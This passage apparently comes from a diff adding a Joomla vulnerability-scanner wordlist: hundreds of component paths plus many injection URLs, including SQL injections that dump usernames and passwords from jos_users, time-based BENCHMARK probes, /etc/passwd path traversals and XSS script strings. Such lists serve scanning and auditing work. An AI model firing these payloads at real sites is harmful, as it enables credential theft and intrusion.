components/com_simpleboard/
|
401
|
+
components/com_simplefaq/
|
402
|
+
components/com_simpleshop/
|
403
|
+
components/com_sitemap/sitemap.xml.php
|
404
|
+
components/com_slideshow/
|
405
|
+
components/com_smf/
|
406
|
+
components/com_smf/smf.php
|
407
|
+
components/com_swmenupro/
|
408
|
+
components/com_team/
|
409
|
+
components/com_tech_article/
|
410
|
+
components/com_thopper/
|
411
|
+
components/com_thyme/
|
412
|
+
components/com_tickets/
|
413
|
+
components/com_tophotelmodule/
|
414
|
+
components/com_tour_toto/
|
415
|
+
components/com_trade/
|
416
|
+
components/com_uhp/
|
417
|
+
components/com_uhp2/
|
418
|
+
components/com_user/controller.php
|
419
|
+
components/com_users/
|
420
|
+
components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php
|
421
|
+
components/com_vehiclemanager/
|
422
|
+
components/com_versioning /
|
423
|
+
components/com_videodb/core/videodb.class.xml.php
|
424
|
+
components/com_virtuemart/
|
425
|
+
components/com_volunteer/
|
426
|
+
components/com_vr/
|
427
|
+
components/com_waticketsystem/
|
428
|
+
components/com_webhosting/
|
429
|
+
components/com_weblinks/
|
430
|
+
components/com_webring/
|
431
|
+
components/com_wmtgallery/
|
432
|
+
components/com_wmtportfolio/
|
433
|
+
components/com_x-shop/
|
434
|
+
components/com_xevidmegahd/
|
435
|
+
components/com_xewebtv/
|
436
|
+
components/com_xfaq/
|
437
|
+
components/com_xgallery/helpers/img.php?file=
|
438
|
+
components/com_xsstream-dm/
|
439
|
+
components/com_ynews/
|
440
|
+
components/com_yvcomment/
|
441
|
+
components/com_zoom/classes/
|
442
|
+
components/mod_letterman/
|
443
|
+
components/remository/
|
444
|
+
eXtplorer/
|
445
|
+
easyblog/entry/uncategorized
|
446
|
+
extplorer/
|
447
|
+
components/com_mtree/img/listings/o/{id}.php where {id}
|
448
|
+
includes/joomla.php
|
449
|
+
index.php/404'
|
450
|
+
index.php/?option=com_question&catID=21' and+1=0 union all
|
451
|
+
index.php/image-gallery/"><script>alert('xss')</script>/25-koala
|
452
|
+
index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
|
453
|
+
index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view
|
454
|
+
index.php?option=com_aardvertiser&cat_name=conf&task=<=
|
455
|
+
index.php?option=com_aardvertiser&task=
|
456
|
+
index.php?option=com_abc&view=abc&letter=AS§ionid='
|
457
|
+
index.php?option=com_advert&id=36'
|
458
|
+
index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
|
459
|
+
index.php?option=com_alfurqan15x&action=viewayat&surano=
|
460
|
+
index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
|
461
|
+
index.php?option=com_annonces&view=edit&Itemid=1
|
462
|
+
index.php?option=com_articleman&task=new
|
463
|
+
index.php?option=com_bbs&bid=-1
|
464
|
+
index.php?option=com_beamospetition&startpage=3&pet=-
|
465
|
+
index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users-
|
466
|
+
index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27
|
467
|
+
index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
|
468
|
+
index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
469
|
+
index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
|
470
|
+
index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1
|
471
|
+
index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
|
472
|
+
index.php?option=com_chronoconnectivity&itemid=1
|
473
|
+
index.php?option=com_chronocontact&itemid=1
|
474
|
+
index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=
|
475
|
+
index.php?option=com_clantools&squad=1+
|
476
|
+
index.php?option=com_clantools&task=clanwar&showgame=1+
|
477
|
+
index.php?option=com_commedia&format=raw&task=image&pid=4&id=964'
|
478
|
+
index.php?option=com_commedia&task=page&commpid=21
|
479
|
+
index.php?option=com_connect&view=connect&controller=
|
480
|
+
index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
|
481
|
+
index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
|
482
|
+
index.php?option=com_dioneformwizard&controller=[LFI]%00
|
483
|
+
index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1
|
484
|
+
index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12
|
485
|
+
index.php?option=com_easyfaq&Itemid=1&task=view&gid=
|
486
|
+
index.php?option=com_easyfaq&catid=1&task=view&id=-2527+
|
487
|
+
index.php?option=com_easyfaq&task=view&contact_id=
|
488
|
+
index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=
|
489
|
+
index.php?option=com_equipment&task=components&id=45&sec_men_id=
|
490
|
+
index.php?option=com_equipment&view=details&id=
|
491
|
+
index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]
|
492
|
+
index.php?option=com_etree&view=displays&layout=category&id=[SQL]
|
493
|
+
index.php?option=com_etree&view=displays&layout=user&user_id=[SQL]
|
494
|
+
index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1
|
495
|
+
index.php?option=com_fabrik&view=table&tableid=13+union+select+1----
|
496
|
+
index.php?option=com_filecabinet&task=download&cid[]=7
|
497
|
+
index.php?option=com_firmy&task=section_show_set&Id=-1
|
498
|
+
index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R
|
499
|
+
index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=
|
500
|
+
index.php?option=com_graphics&controller=
|
501
|
+
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=
|
502
|
+
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=
|
503
|
+
index.php?option=com_huruhelpdesk&view=detail
|
504
|
+
index.php?option=com_huruhelpdesk&view=detail&cid[0]=
|
505
|
+
index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1
|
506
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1
|
507
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2
|
508
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1
|
509
|
+
index.php?option=com_iproperty&view=agentproperties&id=
|
510
|
+
index.php?option=com_jacomment&view=
|
511
|
+
index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
|
512
|
+
index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
|
513
|
+
index.php?option=com_jcommunity&controller=members&task=1'
|
514
|
+
index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13
|
515
|
+
index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2
|
516
|
+
index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2
|
517
|
+
index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
|
518
|
+
index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))
|
519
|
+
index.php?option=com_jfuploader&Itemid=
|
520
|
+
index.php?option=com_jgen&task=view&id=
|
521
|
+
index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
|
522
|
+
index.php?option=com_jimtawl&Itemid=12&task=
|
523
|
+
index.php?option=com_jmarket&controller=product&task=1'
|
524
|
+
index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1'
|
525
|
+
index.php?option=com_jomdirectory&task=search&type=111+
|
526
|
+
index.php?option=com_joomdle&view=detail&cat_id=1&course_id=
|
527
|
+
index.php?option=com_joomla_flash_uploader&Itemid=1
|
528
|
+
index.php?option=com_joomleague&func=showNextMatch&p=[sqli]
|
529
|
+
index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli]
|
530
|
+
index.php?option=com_joomtouch&controller=
|
531
|
+
index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
|
532
|
+
index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
|
533
|
+
index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users
|
534
|
+
index.php?option=com_jstore&controller=product-display&task=1'
|
535
|
+
index.php?option=com_jsubscription&controller=subscription&task=1'
|
536
|
+
index.php?option=com_jtickets&controller=ticket&task=1'
|
537
|
+
index.php?option=com_konsultasi&act=detail&sid=
|
538
|
+
index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
|
539
|
+
index.php?option=com_kunena&func=userlist&search=
|
540
|
+
index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1'
|
541
|
+
index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
|
542
|
+
index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users--
|
543
|
+
index.php?option=com_matamko&controller=
|
544
|
+
index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm
|
545
|
+
index.php?option=com_neorecruit&task=offer_view&id=
|
546
|
+
index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
|
547
|
+
index.php?option=com_noticeboard&controller=
|
548
|
+
index.php?option=com_obsuggest&controller=
|
549
|
+
index.php?option=com_ongallery&task=ft&id=-1+order+by+1--
|
550
|
+
index.php?option=com_ongallery&task=ft&id=-1+union+select+1--
|
551
|
+
index.php?option=com_oziogallery&Itemid=
|
552
|
+
index.php?option=com_page&id=53
|
553
|
+
index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))
|
554
|
+
index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
|
555
|
+
index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection]
|
556
|
+
index.php?option=com_phocagallery&view=categories&Itemid=
|
557
|
+
index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
558
|
+
index.php?option=com_php&file=../../../../../../../../../../etc/passwd
|
559
|
+
index.php?option=com_php&file=../images/phplogo.jpg
|
560
|
+
index.php?option=com_php&file=../js/ie_pngfix.js
|
561
|
+
index.php?option=com_ponygallery&Itemid=[sqli]
|
562
|
+
index.php?option=com_products&catid=-1
|
563
|
+
index.php?option=com_products&id=-1
|
564
|
+
index.php?option=com_products&product_id=-1
|
565
|
+
index.php?option=com_products&task=category&catid=-1
|
566
|
+
index.php?option=com_properties&task=agentlisting&aid=
|
567
|
+
index.php?option=com_qcontacts&Itemid=1'
|
568
|
+
index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
|
569
|
+
index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
|
570
|
+
index.php?option=com_restaurantguide&view=country&id='&Itemid=69
|
571
|
+
index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
|
572
|
+
index.php?option=com_seyret&view=
|
573
|
+
index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--
|
574
|
+
index.php?option=com_smartsite&controller=
|
575
|
+
index.php?option=com_spa&view=spa_product&cid=
|
576
|
+
index.php?option=com_spidercalendar
|
577
|
+
index.php?option=com_spidercalendar&date=1'
|
578
|
+
index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
579
|
+
index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
580
|
+
index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
581
|
+
index.php?option=com_staticxt&staticfile=test.php&id=1923
|
582
|
+
index.php?option=com_szallasok&mode=8&id=25 (SQL)
|
583
|
+
index.php?option=com_tag&task=tag&tag=
|
584
|
+
index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--
|
585
|
+
index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users
|
586
|
+
index.php?option=com_ultimateportfolio&controller=
|
587
|
+
index.php?option=com_users&view=registration
|
588
|
+
index.php?option=com_virtuemart&page=account.index&keyword=[sqli]
|
589
|
+
index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
|
590
|
+
index.php?option=com_x-shop&action=artdetail&idd='
|
591
|
+
index.php?option=com_x-shop&action=artdetail&idd='[SQLi]
|
592
|
+
index.php?option=com_xcomp&controller=../../[LFI]%00
|
593
|
+
index.php?option=com_xvs&controller=../../[LFI]%00
|
594
|
+
index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users--
|
595
|
+
index.php?option=com_yjcontactus&view=
|
596
|
+
index.php?option=com_youtube&id_cate=4
|
597
|
+
index.php?option=com_zina&view=zina&Itemid=9
|
598
|
+
index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=
|
599
|
+
index.php?search=NoGe&option=com_esearch&searchId=
|
600
|
+
index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube
|
601
|
+
index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users--
|
602
|
+
js/index.php?option=com_socialads&view=showad&Itemid=94
|
603
|
+
libraries/joomla/utilities/compat/php50x.php
|
604
|
+
libraries/pcl/pcltar.php
|
605
|
+
libraries/phpmailer/phpmailer.php
|
606
|
+
libraries/phpxmlrpc/xmlrpcs.php
|
607
|
+
modules/mod_artuploader/upload.php");
|
608
|
+
modules/mod_as_category.php
|
609
|
+
modules/mod_calendar.php
|
610
|
+
modules/mod_ccnewsletter/helper/popup.php?id=[SQLi]
|
611
|
+
modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream");
|
612
|
+
modules/mod_jfancy/script.php");
|
613
|
+
modules/mod_ppc_simple_spotlight/elements/upload_file.php
|
614
|
+
modules/mod_ppc_simple_spotlight/img/
|
615
|
+
modules/mod_pxt/
|
616
|
+
modules/mod_quick_question.php
|
617
|
+
modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0
|
618
|
+
patch/makedown.php?arquivo=../../../../etc/passwd
|
619
|
+
plugins/content/efup_files/helper.php");
|
620
|
+
plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data">
|
621
|
+
plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
|
622
|
+
plugins/editors/xstandard/attachmentlibrary.php
|
623
|
+
print.php?task=person&id=36 and 1=1
|
624
|
+
templates/be2004-2/
|
625
|
+
templates/ja_purity/
|
626
|
+
wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
|
627
|
+
web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'&controller=../../../../../../../../../../../../[LFI]%00
|
628
|
+
?1.5.10-x
|
629
|
+
?1.5.11-x-http_ref
|
630
|
+
?1.5.11-x-php-s3lf
|
631
|
+
?1.5.3-path-disclose
|
632
|
+
?1.5.3-spam
|
633
|
+
?1.5.8-x
|
634
|
+
?1.5.9-x
|
635
|
+
?j1012-fixate-session
|
636
|
+
?option=com_mysms&Itemid=0&task=phonebook
|
637
|
+
Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png
|
638
|
+
admin/
|
639
|
+
administrator/
|
640
|
+
administrator/components/
|
641
|
+
administrator/components/com_a6mambocredits/
|
642
|
+
administrator/components/com_a6mambohelpdesk/
|
643
|
+
administrator/components/com_admin/admin.admin.html.php
|
644
|
+
administrator/components/com_astatspro/refer.php
|
645
|
+
administrator/components/com_bayesiannaivefilter/
|
646
|
+
administrator/components/com_chronocontact/excelwriter/PPS/File.php
|
647
|
+
administrator/components/com_colophon/
|
648
|
+
administrator/components/com_colorlab/
|
649
|
+
administrator/components/com_comprofiler/
|
650
|
+
administrator/components/com_comprofiler/plugin.class.php
|
651
|
+
administrator/components/com_cropimage/admin.cropcanvas.php
|
652
|
+
administrator/components/com_extplorer/
|
653
|
+
administrator/components/com_feederator/includes/tmsp/add_tmsp.php
|
654
|
+
administrator/components/com_googlebase/
|
655
|
+
administrator/components/com_installer
|
656
|
+
administrator/components/com_jcs/
|
657
|
+
administrator/components/com_jim/
|
658
|
+
administrator/components/com_jjgallery/
|
659
|
+
administrator/components/com_joom12pic/
|
660
|
+
administrator/components/com_joomla-visites/
|
661
|
+
administrator/components/com_joomla_flash_uploader/
|
662
|
+
administrator/components/com_joomlaflashfun/
|
663
|
+
administrator/components/com_joomlaradiov5/
|
664
|
+
administrator/components/com_jpack/
|
665
|
+
administrator/components/com_jreactions/
|
666
|
+
administrator/components/com_juser/
|
667
|
+
administrator/components/com_admin/
|
668
|
+
administrator/components/com_kochsuite /
|
669
|
+
administrator/components/com_linkdirectory/
|
670
|
+
administrator/components/com_livechat/getSavedChatRooms.php
|
671
|
+
administrator/components/com_livechat/xmlhttp.php
|
672
|
+
administrator/components/com_lurm_constructor/admin.lurm_constructor.php
|
673
|
+
administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php");
|
674
|
+
administrator/components/com_mambelfish/
|
675
|
+
administrator/components/com_mgm/
|
676
|
+
administrator/components/com_mmp/help.mmp.php
|
677
|
+
administrator/components/com_mosmedia/
|
678
|
+
administrator/components/com_multibanners/extadminmenus.class.php
|
679
|
+
administrator/components/com_panoramic/
|
680
|
+
administrator/components/com_peoplebook/param.peoplebook.php
|
681
|
+
administrator/components/com_phpshop/toolbar.phpshop.html.php
|
682
|
+
administrator/components/com_remository/admin.remository.php
|
683
|
+
administrator/components/com_serverstat/install.serverstat.php
|
684
|
+
administrator/components/com_simpleswfupload/uploadhandler.php");
|
685
|
+
administrator/components/com_swmenupro/
|
686
|
+
administrator/components/com_treeg/
|
687
|
+
administrator/components/com_uhp/
|
688
|
+
administrator/components/com_uhp2/
|
689
|
+
administrator/components/com_webring/
|
690
|
+
administrator/components/com_wmtgallery/
|
691
|
+
administrator/components/com_wmtportfolio/
|
692
|
+
administrator/components/com_x-shop/
|
693
|
+
administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
|
694
|
+
administrator/index.php?option=com_searchlog&act=log
|
695
|
+
ajaxim/
|
696
|
+
akocomments.php
|
697
|
+
cart?Itemid=[SQLi]
|
698
|
+
component/com__brightweblinks/
|
699
|
+
component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0
|
700
|
+
component/osproperty/?task=agent_register
|
701
|
+
component/quran/index.php?option=com_quran&action=viewayat&surano=
|
702
|
+
components/com_ clickheat/
|
703
|
+
components/com_5starhotels/
|
704
|
+
components/com_Jambook/jambook.php
|
705
|
+
components/com_a6mambocredits/
|
706
|
+
components/com_a6mambohelpdesk/
|
707
|
+
components/com_ab_gallery/
|
708
|
+
components/com_acajoom/
|
709
|
+
components/com_acctexp/
|
710
|
+
components/com_aclassf/
|
711
|
+
components/com_activities/
|
712
|
+
components/com_actualite/
|
713
|
+
components/com_admin/admin.admin.html.php
|
714
|
+
components/com_advancedpoll/
|
715
|
+
components/com_agora/
|
716
|
+
components/com_agoragroup/
|
717
|
+
components/com_ajaxchat/
|
718
|
+
components/com_akobook/
|
719
|
+
components/com_akocomment/
|
720
|
+
components/com_akogallery
|
721
|
+
components/com_alberghi/
|
722
|
+
components/com_allhotels/
|
723
|
+
components/com_alphacontent/
|
724
|
+
components/com_altas/
|
725
|
+
components/com_amocourse/
|
726
|
+
components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php
|
727
|
+
components/com_articles/
|
728
|
+
components/com_artist/
|
729
|
+
components/com_artlinks/
|
730
|
+
components/com_asortyment/
|
731
|
+
components/com_astatspro/
|
732
|
+
components/com_awesom/
|
733
|
+
components/com_babackup/
|
734
|
+
components/com_banners/
|
735
|
+
components/com_bayesiannaivefilter/
|
736
|
+
components/com_be_it_easypartner/
|
737
|
+
components/com_beamospetition/
|
738
|
+
components/com_biblestudy/
|
739
|
+
components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
740
|
+
components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
741
|
+
components/com_blog/
|
742
|
+
components/com_bookflip/
|
743
|
+
components/com_bookjoomlas/
|
744
|
+
components/com_booklibrary/
|
745
|
+
components/com_books/
|
746
|
+
components/com_bsadv/
|
747
|
+
components/com_bsq_sitestats/
|
748
|
+
components/com_bsq_sitestats/external/rssfeed.php
|
749
|
+
components/com_bsqsitestats/
|
750
|
+
components/com_calendar/
|
751
|
+
components/com_camelcitydb2/
|
752
|
+
components/com_candle/
|
753
|
+
components/com_casino_blackjack/
|
754
|
+
components/com_casino_videopoker/
|
755
|
+
components/com_casinobase/
|
756
|
+
components/com_catalogproduction/
|
757
|
+
components/com_catalogshop/
|
758
|
+
components/com_category/
|
759
|
+
components/com_cgtestimonial/video.php?url="><script>alert('xss');</script>
|
760
|
+
components/com_chronocontact/excelwriter/PPS/File.php
|
761
|
+
components/com_cinema/
|
762
|
+
components/com_clasifier/
|
763
|
+
components/com_classifieds/
|
764
|
+
components/com_clickheat/
|
765
|
+
components/com_cloner/
|
766
|
+
components/com_cmimarketplace/
|
767
|
+
components/com_cms/
|
768
|
+
components/com_colophon/
|
769
|
+
components/com_colorlab/
|
770
|
+
components/com_competitions/
|
771
|
+
components/com_comprofiler/
|
772
|
+
components/com_comprofiler/plugin.class.php
|
773
|
+
components/com_contactinfo/
|
774
|
+
components/com_content/
|
775
|
+
components/com_cpg/cpg.php
|
776
|
+
components/com_cropimage/admin.cropcanvas.php
|
777
|
+
components/com_custompages/
|
778
|
+
components/com_cx/
|
779
|
+
components/com_d3000/
|
780
|
+
components/com_dadamail/
|
781
|
+
components/com_dailymessage/
|
782
|
+
components/com_datsogallery/
|
783
|
+
components/com_dbquery/
|
784
|
+
components/com_detail/
|
785
|
+
components/com_digistore/
|
786
|
+
components/com_directory/
|
787
|
+
components/com_djiceshoutbox/
|
788
|
+
components/com_doc/
|
789
|
+
components/com_downloads/
|
790
|
+
components/com_ds-syndicate/
|
791
|
+
components/com_dtregister/
|
792
|
+
components/com_dv/externals/phpupload/upload.php");
|
793
|
+
components/com_easybook/
|
794
|
+
components/com_emcomposer/
|
795
|
+
components/com_equotes/
|
796
|
+
components/com_estateagent/
|
797
|
+
components/com_eventing/
|
798
|
+
components/com_eventlist/
|
799
|
+
components/com_events/
|
800
|
+
components/com_ewriting/
|
801
|
+
components/com_expose/uploadimg.php
|
802
|
+
components/com_expshop/
|
803
|
+
components/com_extcalendar/
|
804
|
+
components/com_extcalendar/cal_popup.php?extmode=view&extid=
|
805
|
+
components/com_extcalendar/extcalendar.php
|
806
|
+
components/com_extended_registration/registration_detailed.inc.php
|
807
|
+
components/com_extplorer/
|
808
|
+
components/com_ezine/
|
809
|
+
components/com_ezstore/
|
810
|
+
components/com_facileforms/
|
811
|
+
components/com_fantasytournament/
|
812
|
+
components/com_faq/
|
813
|
+
components/com_feederator/includes/tmsp/add_tmsp.php
|
814
|
+
components/com_filebase/
|
815
|
+
components/com_filiale/
|
816
|
+
components/com_flashfun/
|
817
|
+
components/com_flashmagazinedeluxe/
|
818
|
+
components/com_flippingbook/
|
819
|
+
components/com_flyspray/startdown.php
|
820
|
+
components/com_fm/fm.install.php
|
821
|
+
components/com_foevpartners/
|
822
|
+
components/com_football/
|
823
|
+
components/com_formtool/
|
824
|
+
components/com_forum/
|
825
|
+
components/com_fq/
|
826
|
+
components/com_fundraiser/
|
827
|
+
components/com_galeria/
|
828
|
+
components/com_galleria/galleria.html.php
|
829
|
+
components/com_gallery/
|
830
|
+
components/com_game/
|
831
|
+
components/com_gameq/
|
832
|
+
components/com_garyscookbook/
|
833
|
+
components/com_genealogy/
|
834
|
+
components/com_geoboerse/
|
835
|
+
components/com_gigcal/
|
836
|
+
components/com_gmaps/
|
837
|
+
components/com_googlebase/
|
838
|
+
components/com_gsticketsystem/
|
839
|
+
components/com_guide/
|
840
|
+
components/com_hashcash/server.php
|
841
|
+
components/com_hbssearch/
|
842
|
+
components/com_hello_world/
|
843
|
+
components/com_hotproperties/
|
844
|
+
components/com_hotproperty/
|
845
|
+
components/com_hotspots/
|
846
|
+
components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php
|
847
|
+
components/com_hwdvideoshare/
|
848
|
+
components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1");
|
849
|
+
components/com_ice/
|
850
|
+
components/com_idoblog/
|
851
|
+
components/com_idvnews/
|
852
|
+
components/com_ignitegallery/
|
853
|
+
components/com_ijoomla_archive/
|
854
|
+
components/com_ijoomla_rss/
|
855
|
+
components/com_inter/
|
856
|
+
components/com_ionfiles/
|
857
|
+
components/com_is/
|
858
|
+
components/com_ixxocart/
|
859
|
+
components/com_jabode/
|
860
|
+
components/com_jashowcase/
|
861
|
+
components/com_jb2/
|
862
|
+
components/com_jce/
|
863
|
+
components/com_jcs/
|
864
|
+
components/com_jd-wiki/
|
865
|
+
components/com_jd-wp/
|
866
|
+
components/com_jim/
|
867
|
+
components/com_jjgallery/
|
868
|
+
components/com_jmovies/
|
869
|
+
components/com_jobline/
|
870
|
+
components/com_jombib/
|
871
|
+
components/com_joobb/
|
872
|
+
components/com_jooget/
|
873
|
+
components/com_joom12pic/
|
874
|
+
components/com_joomla-visites/
|
875
|
+
components/com_joomla_flash_uploader/
|
876
|
+
components/com_joomlaboard/
|
877
|
+
components/com_joomladate/
|
878
|
+
components/com_joomlaflashfun/
|
879
|
+
components/com_joomlalib/
|
880
|
+
components/com_joomlaradiov5/
|
881
|
+
components/com_joomlavvz/
|
882
|
+
components/com_joomlaxplorer/
|
883
|
+
components/com_joomloads/
|
884
|
+
components/com_joomradio/
|
885
|
+
components/com_joomtracker/
|
886
|
+
components/com_joovideo/
|
887
|
+
components/com_jotloader/
|
888
|
+
components/com_journal/
|
889
|
+
components/com_jpack/
|
890
|
+
components/com_jpad/
|
891
|
+
components/com_jreactions/
|
892
|
+
components/com_jreviews/scripts/xajax.inc.php
|
893
|
+
components/com_jumi/
|
894
|
+
components/com_juser/
|
895
|
+
components/com_jvideo/
|
896
|
+
components/com_k2/
|
897
|
+
components/com_kbase/
|
898
|
+
components/com_knowledgebase/fckeditor/fckeditor.js
|
899
|
+
components/com_kochsuite /
|
900
|
+
components/com_kunena/
|
901
|
+
components/com_letterman/
|
902
|
+
components/com_lexikon/
|
903
|
+
components/com_linkdirectory/
|
904
|
+
components/com_listoffreeads/
|
905
|
+
components/com_livechat/getSavedChatRooms.php
|
906
|
+
components/com_livechat/xmlhttp.php
|
907
|
+
components/com_liveticker/
|
908
|
+
components/com_lm/
|
909
|
+
components/com_lmo/
|
910
|
+
components/com_loudmounth/includes/abbc/abbc.class.php
|
911
|
+
components/com_loudmouth/
|
912
|
+
components/com_lowcosthotels/
|
913
|
+
components/com_lurm_constructor/admin.lurm_constructor.php
|
914
|
+
components/com_mad4joomla/
|
915
|
+
components/com_madeira/img.php
|
916
|
+
components/com_maianmusic/
|
917
|
+
components/com_mailarchive/
|
918
|
+
components/com_mailto/
|
919
|
+
components/com_mambatstaff/mambatstaff.php
|
920
|
+
components/com_mambelfish/
|
921
|
+
components/com_mambospgm/
|
922
|
+
components/com_mambowiki/MamboLogin.php
|
923
|
+
components/com_marketplace/
|
924
|
+
components/com_mcquiz/
|
925
|
+
components/com_mdigg/
|
926
|
+
components/com_media_library/
|
927
|
+
components/com_mediaslide/
|
928
|
+
components/com_mezun/
|
929
|
+
components/com_mgm/
|
930
|
+
components/com_minibb/
|
931
|
+
components/com_misterestate/
|
932
|
+
components/com_mmp/help.mmp.php
|
933
|
+
components/com_model/
|
934
|
+
